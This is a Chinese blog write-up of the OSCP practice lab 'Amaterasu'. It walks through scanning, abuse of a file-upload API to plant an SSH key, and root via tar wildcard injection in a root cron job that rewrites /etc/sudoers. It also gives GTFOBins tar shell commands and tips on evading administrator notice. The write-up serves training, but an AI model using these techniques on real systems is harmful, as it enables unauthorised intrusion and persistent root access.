OSCP官方靶场-Amaterasu WP

关注泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具

官方网页打开靶机,此靶机目前暂未在https://www.vulnhub.com/ 有镜像文件,后续若官方给出,会在评论补充。连上VPN后测速自动设置MTU【踩坑总结】丝滑连接OffSec官方VPN的方法

image-20250717093259701

信息收集

image-20250717093334973

# 靶机地址
192.168.222.249
# Kali攻击机地址
192.168.45.156
# 题目提示的用户凭证
alfredo
DriveMailLens774

扫描端口

ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.222.249 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
echo $ports
sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.222.249
sudo nmap --script=vuln -p$ports -Pn 192.168.222.249

扫描结果如下:

┌──(kali㉿kali)-[~/Desktop/Amaterasu]
└─$ echo $ports
21,22,111,139,443,445,2049,10000,25022,33414,40080

┌──(kali㉿kali)-[~/Desktop/Amaterasu]
└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.222.249
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-16 22:16 EDT
Nmap scan report for bogon (192.168.222.249)
Host is up (0.21s latency).

PORT      STATE  SERVICE
21/tcp    open   ftp
22/tcp    closed ssh
111/tcp   closed rpcbind
139/tcp   closed netbios-ssn
443/tcp   closed https
445/tcp   closed microsoft-ds
2049/tcp  closed nfs
10000/tcp closed snet-sensor-mgmt
25022/tcp open   unknown
33414/tcp open   unknown
40080/tcp open   unknown

Nmap done: 1 IP address (1 host up) scanned in 32.13 seconds

┌──(kali㉿kali)-[~/Desktop/Amaterasu]
└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.222.249
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-16 22:13 EDT
Nmap scan report for bogon (192.168.222.249)
Host is up (0.11s latency).

PORT      STATE  SERVICE          VERSION
21/tcp    open   ftp              vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.45.156
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp    closed ssh
111/tcp   closed rpcbind
139/tcp   closed netbios-ssn
443/tcp   closed https
445/tcp   closed microsoft-ds
2049/tcp  closed nfs
10000/tcp closed snet-sensor-mgmt
25022/tcp open   ssh              OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey: 
|   256 68:c6:05:e8:dc:f2:9a:2a:78:9b:ee:a1:ae:f6:38:1a (ECDSA)
|_  256 e9:89:cc:c2:17:14:f3:bc:62:21:06:4a:5e:71:80:ce (ED25519)
33414/tcp open   http             Werkzeug httpd 2.2.3 (Python 3.9.13)
|_http-server-header: Werkzeug/2.2.3 Python/3.9.13
|_http-title: 404 Not Found
40080/tcp open   http             Apache httpd 2.4.53 ((Fedora))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: My test page
|_http-server-header: Apache/2.4.53 (Fedora)
Aggressive OS guesses: Linux 5.0 - 5.14 (98%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (98%), Linux 4.15 - 5.19 (94%), Linux 2.6.32 - 3.13 (93%), Linux 5.0 (92%), OpenWrt 22.03 (Linux 5.10) (92%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (90%), Linux 4.15 (90%), Linux 2.6.32 - 3.10 (90%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Unix

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.68 seconds

FTP登录

Nmap扫描结果提示是可以弱密码登录FTP的,但是登录上去之后操作受限。

| FTP - system: 
| STAT: 
| FTP服务器状态:
|连接192.168.45.156 
|以FTP方式登录
| TYPE: ASCII 
|无会话带宽限制
|会话超时时间为300秒
|控制连接为明文
|数据连接为明文
|会话启动时客户端数为3 
| vsFTPd 3.0.3安全、快速、稳定
|_状态结束
| FTP - Anonymous:允许匿名FTP登录(FTP代码230)
|_无法获取目录列表:TIMEOUT

image-20250717102005349

也不能用题目给的提示信息登录。

网页信息

33414端口无法直接访问,40080端口可以打开。

image-20250717102931024

image-20250717102947619

没有有效信息,但是再次查看的Nmap的扫描结果,确定33414 端口是打开的,那么说明网页文件可能不是index.html的形式打开就能看,要扫描一下找找隐藏文件。

扫描目录

中间VPN波动短了一次,重启后靶机地址变为192.168.203.249,攻击机地址变为192.168.45.228

dirsearch -u http://192.168.203.249:33414 -x 302,403
#  或
gobuster dir -u http://192.168.203.249:33414/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt  -e  -t 25 -o scan_report.txt -k  --random-agent

image-20250717115706937

image-20250717111543948

image-20250717111331407

"Python File Server REST API v2.5"
"Author: Alfredo Moroder"
"GET /help = List of the commands"

"GET /info : General Info"
"GET /help : This listing"
"GET /file-list?dir=/tmp : List of the files"
"POST /file-upload : Upload files"

image-20250717115821703

/file-list?dir=/tmp 这个能目录遍历,能确定第一个flag文件的位置,但是不能看root下面的文件夹。

image-20250717120014385

image-20250717120208507

40080端口火狐页面的网站地址。

image-20250717120347359

FTP的配置文件?

image-20250717120618209

但是只有目录遍历是不够的,如果想要查看文件就无法直接读取。所以,下一步还是要建立一个稳定的Shell。

建立稳定Shell

文件上传

help 页面看到提示/file-upload似乎可以上传文件,但是输入网页是无法访问的,四喜观察发现了,限定请求方式是只能POST,没有GET。

image-20250717120837302

在终端使用curl来请求这个POST。

curl -X POST http://192.168.203.249:33414/file-upload  

image-20250717121349818

提示没有要上传的文件,说明是要带上文件参数运行的。

curl http://192.168.203.249:33414/file-upload -X POST -F "file=@本地文件路径" 

image-20250717121739031

提示需要文件名。

echo a > a.txt # 随便写点
curl http://192.168.203.249:33414/file-upload -X POST -F "file=@a.txt" -F "filename=aaa"

image-20250717121852980

image-20250717121940162

成功了,尝试别的文件行不行。发现只允许txt, pdf, png, jpg, jpeg, gif这几种格式。

image-20250717122106804

如果这个靶机用的php搭建的,那么我们现在可以上传图片马,改名成a.pnp,然后在蚁剑中连接即可,或者直接上传一个php反弹的脚本。但是由于网页并没有使用PHP,所以这个方法行不通。尝试把文件传到别处,发现在/home/alfredo文件夹下上传成功。

image-20250717124320657

image-20250717125518110

虽然说传不了图片马,但是/home/alfredo可以读写的话,就可以传一个ssh密钥上去用于免密登录SSH。

生成密钥上传

  1. 生成密钥对

    ssh-keygen
    
    • 作用:生成公钥/私钥对(RSA 算法)
    • 生成文件
      • id_rsa私钥(客户端本地保存,绝不可泄露)
      • id_rsa.pub公钥(上传到服务器)
        image-20250717133859118
  2. 设置私钥权限

    chmod 600 id_rsa
    
    • 作用:设置私钥文件仅当前用户可读写
    • 原因:SSH 拒绝使用权限过大的私钥文件(>600)
  3. 创建授权文件

    cp id_rsa.pub authorized_keys
    
    • 作用:将公钥转为 SSH 认证格式
    • 说明authorized_keys文件存储所有被允许的公钥
  4. 备份授权文件

    cp authorized_keys authorized_keys.txt
    
    • 作用:创建公钥列表备份(可选步骤)
  5. 上传密钥

    curl -i -L -X POST -H "Content-Type: multipart/form-data" -F "file=@/home/kali/Desktop/authorized_keys.txt" -F "filename=/home/alfredo/.ssh/authorized_keys" http://192.168.203.249:33414/file-upload
    
    curl http://192.168.203.249:33414/file-upload -X POST -F "file=@authorized_keys.txt" -F "filename=/home/alfredo/.ssh/authorized_keys"
    

    将密钥传到服务器后就可以用密钥登录了。
    image-20250717135119708

  6. 使用密钥登录

    ssh alfredo@192.168.203.249 -i id_rsa -p 25022
    
    • -i id_rsa:指定私钥文件路径
    • -p 25022:指定非标准 SSH 端口

image-20250717135146727

发现第一个Flag。

image-20250717135459279

提权root

image-20250717135231683

进入终端后发现不能sudo -l,这里其实题目给了提示,Alfredo的密码是DriveMailLens774。但是这样就没意思了。还是尽量自己找其他能进root的方式。

image-20250717135908897

上传小豌豆

老样子还是掏出小豌豆一顿梭哈。

wget https://ghfast.top/https://github.com/peass-ng/PEASS-ng/releases/download/20250701-bdcab634/linpeas.sh

image-20250717140000706

这里提示靶机的网络环境似乎是找不到github,问题不大,可以在本机下载后再用scp上传即可,或者在本机开启短暂的http网页,靶机请求下载即可。

image-20250717140455024

使用开启网页下载的方式无法下载,换tmp目录也是下载很慢。

image-20250717140514776

问题不大,还有Plan B,用SCP方式上传。

scp -i id_rsa -P 25022 linpeas.sh alfredo@192.168.203.249:/home/alfredo

image-20250717141054298

内网信息收集

扫描发现日志文件中存在一个用root身份执行的备份脚本。

image-20250717141514855

*/1 * * * * root /usr/local/bin/backup-flask.sh

pkexec 提权尝试

又可以用这个命令一键提权,但是提权失败了,因为 alfredo账户没有sudu权限,可执行命令里面页没有pkexec。

image-20250717141844348

image-20250717143501478

可以执行的命令。

image-20250717142658864

发现alfredo账户原本的密钥,这里可以复制下来,然后悄咪咪删除我们传上去的临时密钥,以后用本尊密钥登录,神不知鬼不觉的。

# 从服务器下载文件
scp -i id_rsa -P 25022 alfredo@192.168.203.249:[远程文件] [本地路径]

image-20250717142855917

后面没有发现有用的信息了,所以还是回到之前发现定时任务中。看一下这个命令的权限,我们能不能直接修改,看看他写了什么。

ls /usr/local/bin/backup-flask.sh -al
cat /usr/local/bin/backup-flask.sh

image-20250717143847744

可以发现,对backup-flask.sh文件,无法直接修改内容,因为alfredo账户对这个文件只有读和执行权限。而backup-flask.sh脚本完成了三件事:

  1. 修改环境变量

    export PATH="/home/alfredo/restapi:$PATH"

    /home/alfredo/restapi目录添加到系统命令搜索路径的最前面,后续执行命令时,系统会优先在这个目录中查找可执行文件

  2. 切换工作目录

    cd /home/alfredo/restapi

    进入 restapi 应用程序所在的目录

  3. 打包文件

    tar czf /tmp/flask.tar.gz *

    将当前目录所有文件(*)压缩成 gzip 格式的 tar 包 flask.tar.gz存档,保存在 /tmp目录下,c表示创建新压缩包,z表示使用 gzip 压缩,f指定输出文件名。

能利用的命令只有tar命令,另外两个命令在https://gtfobins.github.io/#搜不到相应的提权用法。

https://gtfobins.github.io/gtfobins/tar/,提权的具体原理见文末Tar提权详解

image-20250717144536386

Tar提权

cd /home/alfredo/restapi
cat > payload.sh

echo 'alfredo ALL=(root) NOPASSWD: ALL' > /etc/sudoers
# 上面是开放所有权限,动作大,实际渗透中容易被发现
# 下面这个命令是只开放pkexec的无密码sudo执行权限,一般管理员不仔细查的话是发现不了的
echo 'alfredo ALL=(root) NOPASSWD: /usr/bin/pkexec' > /etc/sudoers
# 输入完按 Ctrl D结束即可保存

chmod +x payload.sh
echo "" > '--checkpoint=1'  
echo "" > '--checkpoint-action=exec=sh payload.sh'

# 等待打包命令执行
# 用之前执行失败的提权方式再次提权
sudo pkexec /bin/sh # bash也行
sudo pkexec /bin/bash
# 如果开放的是全权限,直接进入即可。
sudo -l  
sudo /bin/bash

image-20250717150116131

知识点整理

🔑 SSH 密钥认证全流程(重要文件位置):

文件位置角色权限要求
私钥 id_rsa客户端 (您的电脑)认证身份chmod 600 (仅用户读写)
公钥 id_rsa.pub服务端 ~/.ssh/authorized_keys授权认证自动处理
授权文件 authorized_keys服务端 ~/.ssh/目录公钥白名单chmod 600
⚠️ 安全注意事项:
  1. 私钥保护

    • 私钥相当于密码,需妥善保管
    • 禁用私钥:服务器上删除 authorized_keys中对应公钥
  2. 服务器文件权限

    chmod 700 ~/.ssh          # 目录权限
    chmod 600 ~/.ssh/authorized_keys  # 授权文件权限
    
  3. 增强安全性

    ssh-keygen -o -a 100 -t ed25519  # 使用更安全的ED25519算法
    

💡 密钥认证比密码更安全的原因:抗暴力破解、支持双因素认证(私钥+密码)、可撤销性强。

Tar提权详解

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

这个命令利用了 tar命令的检查点功能来执行任意命令,最终会启动一个交互式的 shell(/bin/sh)。下面是详细解释:

命令分解:
tar -cf /dev/null /dev/null      # 基础归档操作
--checkpoint=1                   # 设置检查点间隔
--checkpoint-action=exec=/bin/sh # 在每个检查点执行指定命令
逐步解释:
  1. 归档操作

    tar -cf /dev/null /dev/null
    
    • -c:创建新归档
    • -f /dev/null:指定归档文件为系统空设备(写入的内容会被丢弃)
    • /dev/null:被归档的文件(同样是空设备)
    • 效果:实际上不产生任何文件,只是一个空操作
  2. 检查点设置

    --checkpoint=1
    
    • 每处理 1 个文件 就触发一次检查点(默认是每 10 个记录触发)
  3. 检查点动作

    --checkpoint-action=exec=/bin/sh
    
    • 在每次检查点触发时执行 /bin/sh
    • 效果:当 tar处理第一个(也是唯一一个)文件(/dev/null)时立即启动一个 shell,这个Shell用哪个角色执行就是那个角色的权限。

    image-20250717152150979

⚠️ 安全风险:

这是著名的 tar 提权技术,常用于:

  1. 绕过受限环境获取完整 shell
  2. 当用户有权限执行 tar 时进行权限提升
  3. 反弹 shell 的技术变种
实际效果:
  • 该命令会立即启动一个 交互式 shell(/bin/sh)
  • 因为归档目标是 /dev/null,所以不生成任何实际文件
  • 完整命令会在当前用户上下文执行 /bin/sh
典型攻击场景:
  1. SUID 提权

    find / -perm -u=s -type f 2>/dev/null | grep tar
    # 如果返回 /bin/tar,则运行:
    /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
    
  2. sudo 权限提升

    sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
    
  3. 容器逃逸

    在 Docker 容器内运行可直接获得宿主机 shell(若容器以特权模式运行)

Tar提权命令配合*通配符的用法

在本地kali中模拟靶机环境的restapi文件夹,文件夹下原本存在33414端口上的服务,主要是app.pymain.py两个文件。

image-20250717152432052

backup-flask.sh执行打包命令时,正常情况下,打包的是这两个py文件。

tar czf /tmp/flask.tar.gz *

image-20250717153122453

但是当在文件夹下输入这两个命令,创建了两个空文件,实际上这两个文件里什么都没写,重要的是文件名,文件名就是提权的参数。

echo "" > '--checkpoint=1'  
echo "" > '--checkpoint-action=exec=sh payload.sh'

image-20250717153617813

那么当运行 tar czf /tmp/flask.tar.gz *这个命令时,通配符星号(*)意思是选取了文件夹下的所有文件,通配符星号(*)认为’–checkpoint=1’ 和’–checkpoint-action=exec=sh payload.sh’是两个文件,所以加入到命令中,此时通配符星号(*)代表的是:

app.py flask.tar.gz main.py payload.sh '--checkpoint=1' '--checkpoint-action=exec=sh payload.sh'

image-20250717154637595

但是当执行tar命令时,tar会认为后面两个是参数,不是文件名。所以执行tar时就通过文件名玩文字游戏,把提权参数写成文件名,巧妙的通过通配符送入root的定时任务,让其代劳。

image-20250717154914825


🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

扫描下方二维码,马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚

OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中,作者详细讲解了一个名为MedTech的挑战项目,并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP证书的重要性和它在信息安全领域的认可度。接着,作者向读者介绍了挑战项目MedTech的背景和目标。MedTech是一个模拟医疗技术公司的网络环境,参与者需要在该环境中寻找漏洞、获取权限,最终控制主机,获取FLAG。 在解决这个挑战的过程中,作者详细介绍了使用的工具和技术。例如,他讲解了利用漏洞扫描工具Nmap进行主机发现和服务探测的步骤,以及如何使用Metasploit框架进行漏洞利用和提权。 博客中还涵盖了其他一些有关网络渗透测试的技术,如枚举、社会工程学和Web应用程序漏洞利用。作者详细解释了每个技术的原理和实际应用。 在解决MedTech挑战的过程中,作者还分享了一些遇到的困难和技巧。他提到了一些常见的错误和陷阱,并分享了如何避免它们的经验。 最后,作者总结了整个挑战的过程,并分享了他在完成挑战时的成就感和收获。他强调了在这个过程中学到的技能和知识的重要性,并鼓励读者积极参与类似的挑战和项目。 这篇博客不仅提供了对OSCP挑战赛的深入了解,而且为读者提供了解决类似问题的思路和方法。它对于那些对信息安全和网络渗透感兴趣的读者来说是一个很有价值的参考资源。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

泷羽Sec-静安

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值